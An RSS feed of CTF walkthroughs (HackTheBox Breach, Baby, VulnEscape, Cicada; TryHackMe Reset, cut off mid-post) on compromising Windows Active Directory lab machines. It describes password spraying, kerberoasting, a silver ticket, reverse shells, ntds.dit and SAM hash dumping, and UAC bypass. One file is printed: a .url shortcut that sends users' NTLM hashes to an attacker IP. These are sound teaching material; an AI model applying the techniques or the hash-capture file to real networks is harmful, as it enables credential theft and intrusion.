<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by PizzSec on Medium]]></title>
        <description><![CDATA[Stories by PizzSec on Medium]]></description>
        <link>https://medium.com/@pizzsec?source=rss-d378ff116ba5------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*BCfN3WUozjKshcDW</url>
            <title>Stories by PizzSec on Medium</title>
            <link>https://medium.com/@pizzsec?source=rss-d378ff116ba5------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 03 Dec 2026 23:53:58 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@pizzsec/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[HackTheBox — Breach]]></title>
            <link>https://systemweakness.com/hackthebox-breach-c0797dd825e5?source=rss-d378ff116ba5------2</link>
            <guid isPermaLink="false">https://medium.com/p/c0797dd825e5</guid>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[capture-the-flag]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[PizzSec]]></dc:creator>
            <pubDate>Thu, 19 Feb 2026 06:03:32 GMT</pubDate>
            <atom:updated>2026-02-19T08:05:04.043Z</atom:updated>
            <content:encoded><![CDATA[<p>Breach is a medium rated Windows (AD) box on HackTheBox</p><p><strong>Initial Access &amp; Lateral Movement</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/827/1*J8A9nYfIBQZCgXhhueA2cA.png" /></figure><p>`nmap -p- -T 4 10.129.2.200 -vv’</p><p>Initial nmap scan shows the above open ports. Judging by the open ports like 53 and 88 we can determine that this is a domain controller</p><p>`nmap -p {} -sC -sV 10.120.2.200 -oN nmap_tcp`</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xqJqRv81K9EdgwOcrYwbWg.png" /></figure><p>We can check the http and enumerate smb first</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E9T5j2-BN7UZrc3DuAHLPA.png" /></figure><p>On http (80) we have a default page for IIS server (IIS 10).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/914/1*rJu3XQMB05fj1HYLX_Ac6Q.png" /></figure><p>We have the above shares which we can discover with null user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QxHtPGt35Is0B7t0g4rHRQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/989/1*5rC5cKa4eW8ETXKwIU5c6A.png" /></figure><p>Inside the “share” share we can discover some usernames within the “transfer” directory. There aren’t anything interesting inside the directories of these users. Typically we can perform a password spraying attack or check whether kerberos pre-authentication is enabled (Asreproasting)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/1*3TxPrbQhFqWAeJMvFKRcHg.png" /></figure><p>No pre-authentication is enabled for any of the identified users. The attack vector here is a url file attack since a user is connecting to the share we can trick the user to click on the file to steal the password hash of the user.</p><p>We create file (@test.url) with the following content which points to our attacker server which will be listening using responder to capture user hash.</p><p>[InternetShortcut]</p><p>URL=blah</p><p>WorkingDirectory=blah</p><p>IconFile=\\10.10.15.63\%USERNAME%.icon</p><p>IconIndex=1</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/990/1*WoyevlP_JAiDTxMkIPaa-w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/725/1*OYLER_TPVIt3Gl3BwRLSCg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SvCFmwtLMrhhVp6yh-uCHA.png" /></figure><p>We have the hash for Julia.Wong user. Using hashcat we can crack this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vFf8brFxuiISSkVXCwsNhA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1011/1*6Td0DhjW-33IuQf54q-r1w.png" /></figure><p>Now we have the cleartext password. With this we can enumerate other users in the machine and perform kerberoasting attacks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NGXJDXG4WkLafX3vMqnkng.png" /></figure><p>We have the other users in the domain. We can try another Asreproasting attack against the other users for any pre-authenticated users. However it will not work here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YSgcYpAsSWov_Qt6gMy9NQ.png" /></figure><p>We can get the hash of the service account svc_mssql with a kerberoasting attack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u8jou4BNrM6d7HAIKKADiA.png" /></figure><p>We can crack it using hashcat.</p><p>We know from nmap, mssql is installed on the domain controller and this service account is running the service. We can use it to create a silver ticket as the administrator user to gain access to mssql service and enable xp_cmdshell function to gain shell access. We need the SID of the domain (can find out from bloodhound), SPN of the user “svc_mssql” account which is discovered with the kerberoasting attack and the nt hash of the svc_mssql user’s password (since we know the password we can convert it).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CEiD1Fn95DoXR6rAAj6Njw.png" /></figure><p>We can then export .ccache file to the KRB5CCNAME variable and login to the mssql service</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cK1MF1WpPttSjKQq_HFzgA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZIVX6dRfhUQi7iML-2NJNw.png" /></figure><p>After the xp_cmdshell is enabled we can use the command execution to upload a nc.exe binary to get a reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p4REmI3WBiHIoRb1pIzFtw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/795/1*vbj6JV4St7lFr6DYrdc5hw.png" /></figure><p><strong>Privesc</strong></p><p>Running `whoami /all` on the target we can see the svc_mssql has “SeImpersonate” privilege enabled. We can use this for privilege escalation with the use of “GodPotato” binary which is a modern version of the JuicyPotato for newer Windows systems.</p><p><a href="https://github.com/BeichenDream/GodPotato/releases">Releases · BeichenDream/GodPotato</a></p><p>Once the binary is transferred to the target it is fairly easy to escalate privileges. GodPotato has three binaries we need to find out which one works for the system we are targeting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0pAjULwOVil5G4GhkPObvA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/773/1*s9RyVa_CIeWjq0V-r9WH1w.png" /></figure><p>We have a shell as the system user.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c0797dd825e5" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/hackthebox-breach-c0797dd825e5">HackTheBox — Breach</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HackTheBox — Baby]]></title>
            <link>https://medium.com/@pizzsec/hackthebox-baby-cdd78e08ede6?source=rss-d378ff116ba5------2</link>
            <guid isPermaLink="false">https://medium.com/p/cdd78e08ede6</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[windows]]></category>
            <dc:creator><![CDATA[PizzSec]]></dc:creator>
            <pubDate>Fri, 17 Oct 2025 06:15:44 GMT</pubDate>
            <atom:updated>2025-10-17T06:15:44.716Z</atom:updated>
            <content:encoded><![CDATA[<h3>HackTheBox — Baby</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/397/1*Zxcn_vCdzP_lmS33obLsRg.png" /></figure><p>Hack The Box Baby is an Easy rate Windows machine</p><p><strong>Initial Access</strong></p><p>Initial nmap scan show the following open ports</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TU9YOBgmEog2kKdhB6ZMiA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Sibmykjj0pBtgFZUqU4kng.png" /></figure><p>Judging by the open ports with the ports like 53 &amp; 88 present we can assume we are up against a Domain Controller.</p><p>We need to identify a username/usernames to proceed with AD attack vectors. Let’s enumerate SMB with anonymous login</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/1*cGhytAX0gheUYcxielr5TA.png" /></figure><p>No luck with smbclient.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gBfMQ52Auly0-3XqILsGSw.png" /></figure><p>No luck with netexec either.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/609/1*hF9DR2m_QGRGvoc5J83Law.png" /></figure><p>Rpcclient doesn’t yield anything either.</p><p>Smb is not giving us anything. Switched to ldap enumeration with netexec.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EuamidSGg6kTf6_LoaS6yw.png" /></figure><p>There’s a detailed output with all the users. Down in the bottom we see a password in the description field for user Teresa.Bell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WMkOxuXw7xNC4lD0DDz-jQ.png" /></figure><p>We can put the users into a list and spray the password to see which users are accessible with it. But first we can get a cleaner list of names that can be copied easily</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HHptnPPEN__1CuSFqUjdKQ.png" /></figure><p>Tried password spraying with “BabyStart123!”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mG-m1mEl9C6Jh1opGeWENA.png" /></figure><p>We don’t get any hits but we have Caroline.Robinson user with an expired password. Meaning this user’s password can be changed.</p><p>We can use impacket’s changepasswd tool to change this user’s password to a one we choose and gain access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AwtKNczsMfRzgi5gHmN-Eg.png" /></figure><p>Password changed successfully.</p><p>Just for good measure before proceeding further tried Asreproasting and kerberoasting for any other users that can be compromised.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pVKXjEf3J_HVq-nnIeujDg.png" /></figure><p>No luck with Asreproasting</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f1YkbhYMBI4EU45tHfZ7rw.png" /></figure><p>No luck with Kerberoasting either.</p><p>Enumerate SMB with the compromised user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xwsmNnmgAAKNkoLAXbzR6A.png" /></figure><p>There are no shares that are standing out. We can try to gain access via WinRM</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/862/1*NZ8FFZwV6HOQ-2Y2Lak3TA.png" /></figure><p>We have access to the user flag</p><p><strong>Privesc</strong></p><p>With the access gained enumerated user privileges for potential abuse possibilities.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ccTLRusdDHIS6KcG5XR59w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/918/1*y0p26JBpSIwLlY9UgJ3Clw.png" /></figure><p>We have 2 privileges with viable escalation paths</p><ol><li>SeMachineAccountPrivilege</li><li>SeBackupPrivilege/SeRestorePrivilege</li></ol><p>First path didn’t work with NOPAC so that’s a no go. With SeBackupPrivilege we can copy the SAM, SYSTEM and SECURITY files dump the hashes. However, since we are in a domain controller we need the ntds.dit file. This file cannot be copied since it is being used by the system before making a shadow of the C:\ drive.</p><p>First we create “diskshadow.txt” on the local attacker machine with the following content that is going to be given as an argument diskshadow.exe which will create a shadow of the C:\ drive</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/548/1*X4SWMikXKf5aolL6if1znA.png" /></figure><p>Then this file is uploaded to a writable directory on the target and diskshadow.exe is run as below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q9YTew3_J2Q2m88VHlKmuA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/1*27hefSVbz0Q2vIJg8j5VRA.png" /></figure><p>We have the drive E:\ which is a shadow of C:\. We can use “robocopy” to copy the ntds.dit and the SYSTEM file which are needed for the hashdump.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4UiWx5uD5lqWxw8C8sYJzQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/818/1*Kf8uQnpvr6C4eASAYQFOFw.png" /></figure><p>We now have the ntds.dit file. Time to copy the SYSTEM file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sUq61Q6_n9hEhmMhabHS4g.png" /></figure><p>Now we can simply download the 2 files and use impacket’s secretsdump to dump the hashes</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qUL32tEQTJcul6p3HE-NrQ.png" /></figure><p>We can use administrator hash to login</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6d6kWQwLmnfdQwPs1PTSrQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cdd78e08ede6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HackTheBox — VulnEscape]]></title>
            <link>https://medium.com/@pizzsec/hackthebox-vulnescape-36ac0c322a4a?source=rss-d378ff116ba5------2</link>
            <guid isPermaLink="false">https://medium.com/p/36ac0c322a4a</guid>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[PizzSec]]></dc:creator>
            <pubDate>Thu, 16 Oct 2025 10:07:33 GMT</pubDate>
            <atom:updated>2025-10-16T10:07:33.728Z</atom:updated>
            <content:encoded><![CDATA[<h3>HackTheBox — VulnEscape</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/394/1*bcVD6N2xcn7P4GWfG4lu7A.png" /></figure><p>VulnEscape from Hack the box is an Easy rated Windows machine</p><p><strong>Initial Access</strong></p><p>Initial nmap scan shows only one TCP port open</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oPBYRQpb47_alXGKblk-RQ.png" /></figure><p>Neither nmap scripts nor metasploit scanners provide any more useful information. Trying to login with rdesktop a user is revealed who is allowed to login without a password</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PVb-jORgW9R5pucHjchI9g.png" /></figure><p>We can use this user to login as without a password</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_S-UgpMpV7Pz3eEA10KnwA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9BGrIizWVvpPIxJp7NYanw.png" /></figure><p>We have a minimal environment with a lot of restrictions. We cant access the filesystem using windows explorer, have no access to cmd or powershell. All we have access to is Edge browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*kBhfNq2YaD5lBY-1qzOnMg.png" /></figure><p>However we can access the filesystem using the browser. We can access the user flag using the browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/701/1*uWLYoHN9XOinJAFkmAMZvw.png" /></figure><p><strong>Privilege Escalation</strong></p><p>Browsing through the filesystem we see the following file with the admin user’s base64 encoded encrypted password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/591/1*DKc-PCHBibT9-Uk6KINugQ.png" /></figure><p>Doing more research on the base64 encoded string I was able to decode it to hex representation which is a “gencrypt” encrypted password which is a proprietary tool designed by “Remote Desktop Plus” developers. There were no tools online to decrypt the string.</p><p>We can’t open any other program except for edge either. However this can be bypassed by tricking the system to think it’s an MS edge binary. We can navigate to the Powershell binary path via the web browser and clicking on it downloads it to the Downloads folder which can be opened via the browser in Windows explorer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/751/1*dfyAbzkJ4sD4MM_35iYe7g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/596/1*zmoOnZwJwyUAvMWpOtsMZQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/1*PKNN8jPEgS6WhYJpjV4HrA.png" /></figure><p>Now we need to rename executable to “msedge” before we can run it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/860/1*7TXDOwZ1jBvW2OFN_ec0nQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/762/1*wchch8fj657XW_IG-m2GpQ.png" /></figure><p>Now we can run the “Remote Desktop Plus” binary from powershell to see its functionality.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/674/1*oV0UTFaJ0VufcUvuzFdgyg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*g2HOv-qEkTWXYP7tom-x6g.png" /></figure><p>There is an option to “Manage profiles” which we can use to load the profiles.xml file to the application. We need to place “profiles.xml” in the Downloads directory of the kioskuser0 which is the only directory that is browsable using the windows explorer. One way to do this is to copy the contents of the file and create a copy of the file on the attack machine and transfer it to the Downloads folder using the clipboard. Once it is placed we can open the profile using the rdp.exe</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/682/1*ldINv9HtZpnXar2JvuoKmQ.png" /></figure><p>Once the profile is loaded we have the option to edit it. Which brings up the following window.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/635/1*YYKOxUy8f5N5OmWPRZjhBQ.png" /></figure><p>We can’t see the plaintext password. However there is a program called BulletsPassView.exe which can be used to view * out passwords. Download the binary and transfer it to the target and run it using the powershell console.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R5FlFWJuu3CE5OS6GiDsqA.png" /></figure><p>We can see the plaintext password now. Tried to RDP into the target with the “admin” user credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/734/1*xdqK0yc6u4c5veYaD1CU4w.png" /></figure><p>The translation of the above basically says the admin user is not in the remote desktop user group. So we can’t use RDP to gain access. This is where another useful binary comes in handy called “RunasCs.exe”.</p><p>If we didn’t have a GUI based RDP connection we would not be able to spawn a process using the built in command “runas” because it cannot accept passwords in the command line. We could have resorted to “RunasCs.exe” if that was the case. However in this instance we still can use “runas”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1005/1*iKnS_r2q11emYUzBo8yyww.png" /></figure><p>And we do get the reverse shell using netcat.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/808/1*pp1CbNCdUlFdKs03YSVR2w.png" /></figure><p>Let’s run the same using the “RunasCs.exe” as well.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lSxySs2yBpEigJhLPY65tQ.png" /></figure><p>`-b` flag is important because we need it to bypass UAC (User Account Control). UAC in the GUI is when we try to run a program but Windows prompts for elevated credentials to run it. We do get the shell from admin user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/790/1*BSxqknTkvdaqpDbxFCBADQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=36ac0c322a4a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HackTheBox — Cicada]]></title>
            <link>https://systemweakness.com/hackthebox-cicada-de9d29d12394?source=rss-d378ff116ba5------2</link>
            <guid isPermaLink="false">https://medium.com/p/de9d29d12394</guid>
            <category><![CDATA[hack-the-box-writeup]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[capture-the-flag]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[PizzSec]]></dc:creator>
            <pubDate>Tue, 24 Dec 2024 08:43:10 GMT</pubDate>
            <atom:updated>2024-12-24T13:07:25.445Z</atom:updated>
            <content:encoded><![CDATA[<h3>HackTheBox — Cicada</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/328/1*dX3PFM7FdSLg0K5zxfLSTg.png" /></figure><p>HacktheBox Cicada is an easy rated machine which focusses on an Active Directory Domain Controller.</p><p><strong>Initial Access</strong></p><p>The initial nmap scan shows the following ports open</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vQ4sq9TEi7GmzYpzErjLwg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OwAyk6MJLNh8IHN0ArD91w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SvYHhRedk15qChOsA9AfSg.png" /></figure><p>Judging by the fact that ports 53 and 88 are open we can assume that we are up against a domain controller.</p><p>Started off with enumerating smb.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9VKRtofGmk50IX_NiZgcZg.png" /></figure><p>Was able to enumerate the shares anonymously.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kD-p2_QRcHxpR-K4eIHqvg.png" /></figure><p>We also have read access to shares “HR” and “IPC$”. Logged into the “HR” share first.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1e6lkORoW8P2I9TD2g7D0g.png" /></figure><p>In the “HR” share found a txt file ‘Notice from HR.txt’. Downloaded the file and read the contents.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bTKk5n9zJSd_aKmDKaFQjQ.png" /></figure><p>Found a default password which the users are supposed to change upon the first login. Need to compile a userlist to use the password against a password-spraying attack.</p><p>Tried ‘rid-brute’ with crackmapexec.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*puo3FtDdl07L9AaWymd9Pw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SEweai3-sHSCkRSHj7RHtw.png" /></figure><p>Filtered just the usernames and saved them in a txt file which could be used as an input for crackmapexec.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/596/1*LFDEW7iPa9mHFKEY83Kq6A.png" /></figure><p>Ran crackmapexec with the default password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6RN1kOGWUYTFuKDrh3fjsQ.png" /></figure><p>We get a hit with the user “michael.wrightson”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pv_0zSIpKXQYtbJbvv6SJA.png" /></figure><p>Enumerating the shares with the credentials gathered, we still only have “read-only” access to the shares.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p7xcwi0uZ_ncU22_ztMC5A.png" /></figure><p>Kerberoasting didn’t yield any results.</p><p>Neither did ASREPRoasting</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ikFzRNH5t77OLoYB0vr4_Q.png" /></figure><p>Ran the tool “ldapdomaindump” to further enumerate the AD environment</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Idv_O4mKVLeyEWDNBUhg_g.png" /></figure><p>Managed to get another credential saved in the “description” field</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H9P2jkukhehGzgRmmOLa8g.png" /></figure><p>Enumerated smb again with the new found credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7Xn78WXr3c-XjQOPqOeyQw.png" /></figure><p>This time we have “READ” access to “DEV” share with “david.orelious” user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1006/1*03tWWZEuvxFP59jc3Bt5xw.png" /></figure><p>Found a powershell script in the “DEV” share. Downloaded it and going through the contents managed to find yet another credential.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eiXH_hvhZvUxY-umJc9Ntg.png" /></figure><p>Ran bloodhound to check if user “emily.oscars” has any privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tih7Asj2CEsTZvxPJWHOWg.png" /></figure><p>The user is a member of the “BACKUP OPERATORS” security group. This group is privileged and can dump the SAM hive which we can use to steal the Administrator NTLM hash.</p><p><strong>Privilege Escalation</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JOMDTVJkui4p2wIss-9upA.png" /></figure><p>Using evil-winrm obtained a shell as “emily.oscars” and verified the privileged group membership. Using the following commands copied the “sam” and “system” hives to the C:\Windows\Temp directory and transferred the files to the attacker system using impacket-smbserver module.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vivjmU24Fq3hDX2KQbbIbg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q3gj7wcDVmNAxJLtHmb4Jg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Omz778LWqr-8SBci5-A3jQ.png" /></figure><p>Finally using impacket-secretsdump captured the administrator NTLM hash and obtained a privileged shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1mYUsZnNjSRiN0ErlznYNA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QHBGf7sql8-Fs_tsTwcATA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=de9d29d12394" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/hackthebox-cicada-de9d29d12394">HackTheBox — Cicada</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe — Reset]]></title>
            <link>https://systemweakness.com/tryhackme-reset-357b28512b80?source=rss-d378ff116ba5------2</link>
            <guid isPermaLink="false">https://medium.com/p/357b28512b80</guid>
            <category><![CDATA[capture-the-flag]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[PizzSec]]></dc:creator>
            <pubDate>Mon, 14 Oct 2024 08:28:46 GMT</pubDate>
            <atom:updated>2024-10-15T14:48:14.368Z</atom:updated>
            <content:encoded><![CDATA[<h3>TryHackMe — Reset</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H7-HhTlQiAswT1RZAvneiQ.png" /></figure><p>Reset is a hard rated box from tryhackme which showcases Active Directory attack vectors that are related ACLs. Let’s get started.</p><p><strong>Initial Access</strong></p><p>Nmap shows the following ports open</p><p>`nmap -p- -T 4 &lt;ip&gt;`</p><p>&amp;</p><p>`nmap -p &lt;ports&gt; -sC -sV — open &lt;ip&gt; -oN nmap_tcp`</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*PSMD-0RY0c4jwd0DFf3iQA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ggdF3PDfruvogrkv1ZNNSQ.png" /></figure><p>From the open ports we can deduce that the target is a domain controller. Enumerating smb;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4ad_1p6kRAMdChf04QKjig.png" /></figure><p>Enum4linux doesn’t generate anything interesting with anonymous access neither does smbmap. Tried connecting to the shares enumerated starting with “Data” share.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YcSuJ_HsN7L2vm8Z7nYtRw.png" /></figure><p>Was able to connect to the “Data” share anonymously. Inside found the directory “onboarding” with some randomly named files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/964/1*GKdPsuKETTjc3BrP8V6irw.png" /></figure><p>Listing out the contents of the directory after a while shows the files named differently. Some sort of script maybe running (important for later!)</p><p>Downloaded the files one by one.</p><p>Discovered a default password in one of the txt files</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_HMcLAcYhLKjZWnDq5k1SA.png" /></figure><p>Need a username / usernames to test this password against.</p><p>In another pdf file downloaded from the “Data” share we get a possible username as well</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MRqam2sFJdFv00AEf4UdVw.png" /></figure><p>Can use “username-anarchy” to generate a potential username patters for AD.</p><p>Somehow trying the username patterns with crackmapexec throws false positives</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U-idKpb3DOfc9L8wC4LmIg.png" /></figure><p>Tried kerbrute instead with no luck with any of the default patterns generated with “username-anarchy”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lg3TeLeCrzvzz3JoLUHGQQ.png" /></figure><p>Using crackmapexec to brute force RIDs</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JO2br_5o54wyFHqxzxZ6zQ.png" /></figure><p>Using the usernames discovered by crackmapexec created a list to spray the default password discovered. AD username pattern is also revealed here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/599/1*odJws-MOPONHruTQYfgwrw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0eXdKizn0oxwVu0dTcqG3Q.png" /></figure><p>We have lily_oneill user who has the default password unchanged.</p><p>Before trying to log in, tried kerberoasting, asreproasting and bloodhound enumeration</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W78Mgge3qj3w5HYcoYyoTw.png" /></figure><p>No luck with kerberoasting</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l4w1EnsHfKjAOhR490WAsQ.png" /></figure><p>Got several hashes launching the asreproasting attack.</p><p>Using hashcat was able to crack one user hash</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*UDX9herq0jHi9Jx4ZCD-8w.png" 